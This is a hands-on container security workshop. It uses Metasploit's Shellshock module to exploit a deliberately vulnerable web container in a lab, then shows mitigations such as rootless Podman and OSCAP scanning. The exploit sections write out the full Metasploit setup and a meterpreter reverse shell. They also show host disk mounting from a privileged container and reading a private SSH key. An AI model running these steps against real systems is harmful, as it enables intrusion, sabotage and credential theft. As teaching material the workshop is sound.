Container Security

If you looking to run containers in any kind of production capacity, simply knowing how to run a container is not enough. Ensuring that the container is secure is as critical as making sure any production facing infrastructure is secure.

Sometimes people can be lulled into a false sense of security around containers because of the sense that they are isolated from the host (e.g. VM). However, in the previous sections we made allowances to get our containers up and running, some of which we highlighted previously.

Exploiting Vulnerable container

In order to get a sense of how consequential these security exploits can be, let’s exploit some of the issues in the containers we already have running

Our quay.io/mhildenb/container-workshop-httpd:0.0.6 has a huge vulnerability in it that is further excerbated by the manner in which we’ve run our container. The vulnerability is the (in)famous Shellshock vulnerability

First ensure the quay.io/mhildenb/container-workshop-httpd:0.0.6 is running by running the following command in the terminal
```
podman ps
```

You should see output something like below. If you don’t, then run the container as per here

CONTAINER ID  IMAGE                                            COMMAND               CREATED      STATUS          PORTS                 NAMES
4e9c38ac10eb  quay.io/mhildenb/container-workshop-httpd:0.0.6  /usr/sbin/httpd -...  3 hours ago  Up 3 hours ago  0.0.0.0:8081->80/tcp  my-web-server

Using Metasploit

We’re going to use a tool called metasploit (which has already been installed on your VM instance) to exploit the vulnerability (with alarming ease).

We are going to run metasploit as a non-root user in another terminal which we’ll refer to as Terminal 2 in the tabs below. Split your terminal to open a new, non-root, shell

Figure 1. Terminal Split button

Terminal 2

Next, start up metasploit in your terminal by running the following command:

msfconsole \
    -x \(1)
"use multi/http/apache_mod_cgi_bash_env_exec; (2)
set RHOST 127.0.0.1; (3)
set RPORT 8081; (4)
set LHOST $(dig +short myip.opendns.com @resolver1.opendns.com); (5)
set targeturi /cgi-bin/log-visitor.sh" (6)

1	The `-x` option allows us to pass commands directly into metasploit (see following explanations of each). We use this to save setup time
2	This is a metasploit module that plugs into the console. There is a whole library of modules that are used with metasploit. This one specifically targets the shellshock vulnerability via Apache’s cgi-bin support
3	This is the address of the server (which we’re running locally in a container)
4	The port the container is listening on (in our case the port that is forwarded to the container via the `-p` option to `podman run`)
5	The public ip address of the VM instance (as reported by `dig`). This is necessary for how metasploit works
6	The target URL of a cgi-bin script. Those that are astute might recognize this as the cgi-bin endpoint of the guestbook page (`hello.html`)

NOTE

If asked if you want to setup a new database, answer no

Would you like to use and setup a new database (recommended)?

When it’s done initializing, you should see output something like this (ASCII art, "tip", and LHOST will vary)

** Metasploit Framework Initial Setup Complete **

[!] The following modules could not be loaded!../
[!]     /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather/office365userenum.py
[!] Please see /home/student1/.msf4/logs/framework.log for details.

                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.0.47-dev-                         ]
+ -- --=[ 2135 exploits - 1138 auxiliary - 365 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: When in a module, use back to go
back to the top level prompt

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
RHOST => 127.0.0.1
RPORT => 8081
LHOST => 54.79.241.48
targeturi => /cgi-bin/log-visitor.sh
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >

To ensure we’ve got everything right, we can check whether our setup is currently targeting a vulnerable container
```
check
```
Which should report the following output if successful:
```
[+] 127.0.0.1:8081 - The target is vulnerable.
```

Exploiting Shellshock

Now it’s time to exploit our running container. This is as simple as running the following inside the metasploit console (it causes the multi/http/apache_mod_bash_env_exec module to be run with the configuration we set up in the previous section)

Terminal 2

With all the setup we did previously, you can now simply run this command in this terminal to exploit the vulnerability on the container
```
exploit
```

After a few moments you should see the following output, ending with the a meterpreter console

[-] Handler failed to bind to 13.239.27.229:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (984904 bytes) to 13.239.27.229
[*] Meterpreter session 1 opened (172.16.249.211:4444 -> 13.239.27.229:42046) at 2021-05-30 07:31:45 +0000

meterpreter >

Next type in the following to get a shell and output something like the following
```
shell
```
```
Process 79 created.
Channel 1 created.
```
And finally to make us maximally confortable during our hack, we can create a full bash shell experience by running this command
```
/usr/bin/script -qc /bin/bash /dev/null
```

Wreaking havoc from within the container

Now that we’re in the container, let’s show the kind of vulnerabilities we’ve exposed.

Terminal 2

First, notice the user we’re running as:
```
whoami
```
```
root
```
So we’re running as the root user inside the container. This is because we ran our container as root and setup our apache server to run as whichever user started the httpd process (in this case, root).

Now let’s take a look at where we are in the container by issuing these two commands and reviewing the output (yours might vary slightly):

pwd && ls -l

/var/www/cgi-bin
total 4
drwxr-xr-x. 1 root root  28 May 28 03:24 .
drwxr-xr-x. 1 root root  18 May 17 15:31 ..
-rwxr-xr-x. 1 root root 452 May 28 03:24 log-visitor.sh

This is the script that logs visitors in our guestbook. And notice that as root we have access to this script. Feel free to look at the script

cat log-visitor.sh

#!/bin/bash

VISITOR=$(echo $QUERY_STRING | sed -rn 's/visitor=([^&]+)&?.*/\1/p')
echo $VISITOR >> /var/log/www/visitor_info.txt

cat <<EOF
Content-type: text/html

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<title>Thank You</title>
<h1>Thank you ${VISITOR}!</h1>
I have collected your info as user: $(whoami) <br> <br>

Click <a href=/hello.html>here</a> to register another visitor.
</body>
</html>
EOF

Notice that the logbook directory is specified in the shell script. We’ll go there next. But in the meantime we can damage the container by deleting the script
```
rm -f log-visitor.sh
```

Now if you try to enter your name in the guestbook at the following URL (http://localhost:8081/hello.html in the Preview Browser) you’ll now get an error

Ability to impact or sabotage running container

So far we’ve just impacted the running container. To fix it we could just startup a new one. But the vulnerabilities don’t end there

Wreaking havoc on the Host

One key consideration when running containers as a given user is that this generally maps directly to a user on the host operating system. As we’ll see, this is particularly dangerous for a user such as root which exists on every system and has elevated privileges. One of the places of "interaction" between the container and the host operating system where we can exploit this is via the volume mounts we were using

Terminal 2

From within the same metasploit shell, let’s poke around the directory where visitors were getting logged

cd /var/log/www && ls -l

total 8
-rw-r--r--. 1 1001 1001 73 May 28 08:50 README.md
drwxr-xr-x. 2 1001 1001 22 May 28 08:50 cgi-bin
drwxr-xr-x. 2 1001 1001 29 May 28 08:50 oval
drwxr-xr-x. 2 1001 1001 34 May 28 08:50 sql
-rw-r--r--. 1 root root  5 May 30 07:31 visitor_info.txt

This is particularly concerning as you’ll notice that this mirrors the files you see in the container-workshop directory of your host (as you can verify from the Explorer). What’s worse is that you are root so you can mess with stuff now in this directory (and below) of the host system. For instance, enter the following commands
```
chown root README.md && chmod 700 README.md
echo "You've been hax0red" >> visitor_info.txt && chmod a+w visitor_info.txt
```

Now try to open README.md from your Explorer window and you’ll see the following error in the bottom right corner of the VSCode Server window

If it’s not open already, open the visitor_info.txt from the Explorer. It will now look something like this:

Access to host filesystem via volume mounts

This demonstrates that a malicious intruder could actually read and change files on the host system, provided access was afforded them through our volume mounts. But it gets even worse in this case because of our use of the privileged flag. This gives the container OS level capabilities, which we’ll exploit to potentially devestating effect next

Enter the following command to look at the disks(!) on the host operating system

Terminal 2

fdisk -l

The output you should see from the command is from the host operating system

WARNING: fdisk GPT support is currently new, and therefore in an experimental phase. Use at your own discretion.

Disk /dev/xvda: 21.5 GB, 21474836480 bytes, 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: gpt
Disk identifier: 2E431796-24CD-41A3-A4CB-7987FFF67072


#         Start          End    Size  Type            Name
 1         2048         4095      1M  BIOS boot
 2         4096     41943006     20G  Linux filesyste

And now we can mount the root of the host filesystem by creating a directory and simply mounting the device at that directory

mkdir /mnt/hack
mount /dev/xvda2 /mnt/hack
touch /mnt/hack/hax0red.txt

From within the container, validate that you’re at the top of the host filesystem by issuing a tree command, you should see the whole of the VMs contents scroll by

cd /mnt/hack && tree

.
|-- bin -> usr/bin
|-- boot
|   |-- System.map-4.18.0-305.el8.x86_64
|   |-- config-4.18.0-305.el8.x86_64
|   |-- efi
|   |   `-- EFI
|   |       `-- redhat
|   |-- grub2
|   |   |-- device.map
|   |   |-- fonts
|   |   |   `-- unicode.pf2
|   |   |-- grub.cfg
|   |   |-- grubenv
|   |   `-- i386-pc
|   |       |-- acpi.mod
|   |       |-- adler32.mod
|   |       |-- affs.mod
|   |       |-- afs.mod
|   |       |-- ahci.mod
|   |       |-- all_video.mod
|   |       |-- aout.mod
|   |       |-- appended_signature_test.mod
...
    |-- spool
    |   |-- anacron
    |   |   |-- cron.daily
    |   |   |-- cron.monthly
    |   |   `-- cron.weekly
    |   |-- cron
    |   |-- lpd
    |   |-- mail
    |   |   |-- ec2-user
    |   |   `-- student1
    |   `-- rhsm
    |       `-- debug
    |-- tmp
    |   |-- cloud-init
    |   |-- systemd-private-7dde33fba5c24ce9b2cf87368937522d-chronyd.service-iti2eg
    |   |   `-- tmp
    |   `-- systemd-private-7dde33fba5c24ce9b2cf87368937522d-nginx.service-NWeHPh
    |       `-- tmp
    `-- yp

Terminal 1

And from the left (VM) terminal, run the following command to show that a new file has been created on the host from within the container

ls -l /

lrwxrwxrwx.   1 root root    7 Apr 23  2020 bin -> usr/bin
dr-xr-xr-x.   5 root root 4096 May 28 08:45 boot
drwxr-xr-x.   2 root root    6 May  4 17:28 data
drwxr-xr-x.  18 root root 2660 May 28 08:44 dev
drwxr-xr-x. 106 root root 8192 May 28 08:51 etc
-rw-r--r--.   1 root root    0 May 30 08:31 hax0red.txt
drwxr-xr-x.   4 root root   38 May 28 08:46 home
lrwxrwxrwx.   1 root root    7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx.   1 root root    9 Apr 23  2020 lib64 -> usr/lib64
drwxr-xr-x.   2 root root    6 Apr 23  2020 media
drwxr-xr-x.   2 root root    6 Apr 23  2020 mnt
drwxr-xr-x.   3 root root   34 May 28 08:49 opt
dr-xr-xr-x. 141 root root    0 May 28 08:43 proc
dr-xr-x---.   3 root root  165 May 28 08:49 root
drwxr-xr-x.  30 root root  820 May 28 09:11 run
lrwxrwxrwx.   1 root root    8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x.   2 root root    6 Apr 23  2020 srv
dr-xr-xr-x.  13 root root    0 May 28 08:43 sys
drwxrwxrwt.  10 root root 4096 May 30 08:31 tmp
drwxr-xr-x.  12 root root  144 May  4 17:21 usr
drwxr-xr-x.  20 root root  278 May 28 08:44 var

And finally, this means that any secrets on the host are exposed or manipulatable by the intruder. For example, run the following from the metasploit terminal:
- Terminal 2
Let’s take a look at some sensitive ssh info

cat /mnt/hack/home/%USER%/.ssh/aws-private.pem

Running containers responsibly

Following the principle of least privilege, there is a lot we could have done to limit the damage of any attacker such as:

don’t run privileged containers
use SELinux to fine tune container access to volume mounts
don’t run containers as root
ensure that your containers do not include known vulnerabilities or CVEs

Effect of priviledged containers

Let’s take a look at the difference that is made by not running containers in privileged mode.

Stop and remove the currently running web server

podman rm -f my-web-server

When you kill the container, you’ll notice that the metasploit connection will be broken and you’ll see a message like this:

[*] 127.0.0.1 - Meterpreter session 2 closed.  Reason: Died

Press enter in that terminal to return to the metasploit console

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >

Now let’s start up the webserver again in the same manner as before but this time without the --privileged flag

podman run \
    -d \
    -p 8081:80/tcp \
    --name my-web-server \
    -v /home/%USER%/container-workshop:/var/log/www:Z \
    quay.io/mhildenb/container-workshop-httpd:0.0.6

Let’s reopen the exploit in the other terminal by entering following the instructions above to create a bash terminal on the container
Many of the exploits that we did previously are still an issue, but the arguably most egregious one, mounting the host’s root filesystem is gone. From the metasploit bash script run
```
fdisk -l
```
Unlike before you will see that no disks are returned.
This is because such privileges were not assigned to the container

Better use of SELinux

This section is UNFINISHED, please move on to the next one

When our container is running on Red Hat Enterprise Linux, we can use Security Enhanced Linux (or SELinux) to further control the container’s access to files on our volume

Non-root containers

Most containerization runtimes, such as Docker, effectively require all containers to run as root by way of the Docker daemon on the system.

Podman is different in that regard. Because it does not rely on a root-level service to be active to be able to run a container, containers can instead be run as normal users on the system. How it does this is a bit beyond the scope of this workshop, but in short it does this through linux user namespace mapping. When running as a non-root user on the host system, any container that is setup to run as root (like our apache container) will present instead as the user who started the container to the host system. This can further limit exposure of the host system. Let’s try this out.

First, before we do anything else, be sure to shutdown the currently running container
```
podman rm -f my-web-server
```
For most of the lab we have been running as the root user. Let’s get to a terminal that is running as %USER%. Choose one of the ways below:
- Exit sudo
- Open new Tab
From the terminal that you have been running all your podman commands, simply type the following to exit back to your original user
exit
Upon running the command, you should still have an open and active terminal, returning you to the default user
Click the + button as shown in the image below to create a new terminal.

You can also open a new terminal with the CTRL+SHIFT+' keystroke

This will add a new terminal to your "stack" and log you as as %USER%. You can always go back to your other terminals by using the terminal dropdown as shown
Check to ensure you are no longer the root user in the terminal by running the following command
```
whoami
```
Ensure that the output of the command is the following:
```
%USER%
```
If it’s not, ensure you followed the instructions here correctly or ask for assistance.

Now we’ll run our webserver much like we did before but this time as a non-root user

podman run \
    --privileged \(1)
    -d \
    -p 8081:80/tcp \
    --name my-web-server \
    -v /home/%USER%/container-workshop:/var/log/www:Z \
    quay.io/mhildenb/container-workshop-httpd:0.0.6

1	Despite what we learned in the previous sections about the risks inherent in running with `--privileged` we are going to use that flag again when running the container rootlessly. You’ll see soon why this is OK

You will notice that the container needs to be downloaded again. Didn’t we do this already? We did, but as root. Each user keeps their own local container storage separate from all other users.

Let’s once again reopen the exploit in the other terminal by entering following the instructions above to create a bash terminal on the container
Then from metasploit shell, run the following command
```
touch /var/log/www/hello_from_rootless_podman.txt
```
When you create the file, you should see a file appear in the container_workshop in the explorer
The the metasploit shell, run the following command to look at the permissions of the file
```
ls -l /var/log/www/hello_from_rootless_podman.txt
```

It should appear that the files are created by root

-rw-r--r--. 1 root root 0 Jun 14 13:25 /var/log/www/hello_from_rootless_podman.txt

This makes sense as you are still running in the container as root. Prove this by running
```
whoami
```
```
root
```

The noteworthy part is what we see on the host filesystem. From the other shell, let’s take a look at the file we created (that recently appeared in the explorer)

ls -l /home/%USER%/container-workshop/hello_from_rootless_podman.txt

-rw-r--r--. 1 student1 student1 0 Jun 14 13:25 /home/student1/container-workshop/hello_from_rootless_podman.txt

The key here is that unlike before, the files on the host were created as %USER%, that is, the user that ran the podman command and not root as it appeared from inside the container

Podman is able to accomplish this through "namespacing" and mapping container UIDs to different UIDs on the host. Any container running as root when running as rootless podman will always present to the host (such as via volume mounts) as the user that ran the rootless podman command in the first place.

This affords an additional layer of security as even containers that think they are running as root are not actually running with such privileges on the host

Finally, remember how we ran this container with the --privileged flag even though we know that it confers extra powers to the container? Let’s try our fdisk trick again

fdisk -l

But this time it will appear as if we had not run with the --privileged flag at all:

This is again due to the fact that the container is not actually running as root on the host system, it is running as %USER% and %USER% does not have permissions to run fdisk normally. Hence rootless containers afford additional layers of security on top of the ones we indicated already

Scanning Containers

In the previous section we saw some techniques podman (Red Hat Enterprise Linux) give us to limit the impact of any unknown security vulnerabilities, but is there a way we can actively look for vulnerabilities and ensure they are not part of our containers in the first place?

In this section we’ll look at one form of container security scanning based on OSCAP. We’ll use our container (which clearly has security vulnerabilities) as a target of our OSCAP scan and let’s see what turns up

Vulnerability Scanning with `oscap-podman`

The Open Security Content Automation Protocol (or OSCAP) refers to an open standard for quantifying vulnerabilities (or security policy infringements) that may be present in an operating system. The aggregated wisdom of all the Common Vulnerabilities and Exploits (CVEs) are codified in publicly available xml documents in the OVAL (Open Vulnerability and Assessment Language) xml format which oscap tooling can consume^[1]

One of podman tools is an oscap compatible scanner, called oscap-podman which adapts oscap for use with containers instead of just operating systems.

To save time, we have provided you with a suitable oval document already. Let’s take a quick look at it by using CTRL+p (or CMD+p on MacOS) to quickly open rhel-7-oval.xml (which can be found in the container-workshop\oval directory on your instance)

Figure 2. OVAL document

If you want to look at an oval document direct from the internet you can run the following command:

wget -O- https://www.redhat.com/security/data/oval/v2/RHEL8/rhel-8.oval.xml.bz2 | bzip2 --decompress> ~%USER%/container-workshop/rhel-8.oval.xml

With our oval document in hand, we simply run the scan on our image

sudo oscap-podman quay.io/mhildenb/container-workshop-httpd:0.0.6 \(1)
    oval eval \(2)
    --report /home/%USER%/container-workshop/oval/vuln-report.html \(3)
     /home/%USER%/container-workshop/oval/rhel-7.oval.xml (4)

1	The oscap-podman command must run as `root` due to the container evaluation itself needing elevated privileges. Hence we use the `sudo` prefix
2	This indicates that we are wanting to evaluate the document using the `oval` format (as opposed to XCCDF)
3	This is the location of the oval document we just viewed in VS Code
4	Indicates that we want the output as an (HTML) report in the specified directory

In order for oscap-podman to be able to scan an image, it must already be present locally on the machine (for the root account) or you will get errors like

Target of the scan not found: 'quay.io/mhildenb/container-workshop-httpd:0.0.6'.

If you get this error, first run this command before running the oscap-podman command above

sudo podman pull quay.io/mhildenb/container-workshop-httpd:0.0.6

The command might appear to do nothing for 30 seconds or so, but then you should see a flood of output somthing like this (showing only the last few lines):

...
Definition oval:com.redhat.rhba:def:20152194: false
Definition oval:com.redhat.rhba:def:20152161: false
Definition oval:com.redhat.rhba:def:20152142: false
Definition oval:com.redhat.rhba:def:20152116: false
Definition oval:com.redhat.rhba:def:20152092: false
Definition oval:com.redhat.rhba:def:20151554: false
Definition oval:com.redhat.rhba:def:20150965: false
Definition oval:com.redhat.rhba:def:20150584: false
Definition oval:com.redhat.rhba:def:20150441: false
Definition oval:com.redhat.rhba:def:20150386: false
Definition oval:com.redhat.rhba:def:20150364: false
Evaluation done.

The report vuln-report.html should have appeared in your container-workshop directory of your explorer. To look at it from within the browser preview, right click on the file and select Open in Browser Preview

Figure 3. Open report in preview
On the right side of the screen, you should now see the generated report (as also seen in the image below). Feel free to scroll around to get familiar with the output. This report shows how our container fared against the different vulnerability checks and in our case indicates one big security issue.

You can double-click on the browser preview tab to expand that pane. Double-click again to bring it back to the original size
Let’s go a little deeper into the vulnerability that this oval scan uncovered. Included in the scan output is helpful information about what the vulnerability is, how it’s exploited, and how it can be resolved. Click on link shown in the image below to learn more

Figure 4. OSCAP Vulnerability Report

Your Browser Preview should navigate to Red Hat’s CVE information on the exploit which, in this case, is the famous Shellshock vulnerability that we have been expoiting on our container for most of this lab.

When clicking on the link, a new Browser Preview will open in a new tab. This may clutter up your workspace. If you’d like, you can close the Browser Preview with the vulnerability report and/or double-click on the Browser Preview tab with the Red Hat CVE info.

Feel free to read through the advisory. To determine how to fix the issue we’re going to follow the "Vulnerability Response" link highlighted below

Figure 5. Red Hat advisory on Shellshock CVE
Once on the security bulletin, select the "Resolve" tab as shown below. From this we can see that the recommended remediation is to update the version of bash that is running in our container to bash-4.2.45-.el7_0.4

Figure 6. Security Bulletin with Shellshock remediation

Now that we know what we need to do to our container, we’re left with the question of HOW we’re meant to update the container given that containers are supposed to be immutable. When dealing with containers, we don’t need to change the running container, but rather the image that the container runs as. In our case we’re going to want to update our quay.io/mhildenb/container-workshop-httpd:0.0.6 image.

This is where buildah comes in, which we’ll explore next.

1. For policy checking, there is a separate type of format that OSCAP tooling can consume called EXensible Configuration Checklist Description Format (or XCCDF) files. XCCDF files are used to can images/operating systems for compliance with a number of prescritive standards such as CIS and PCI-DSS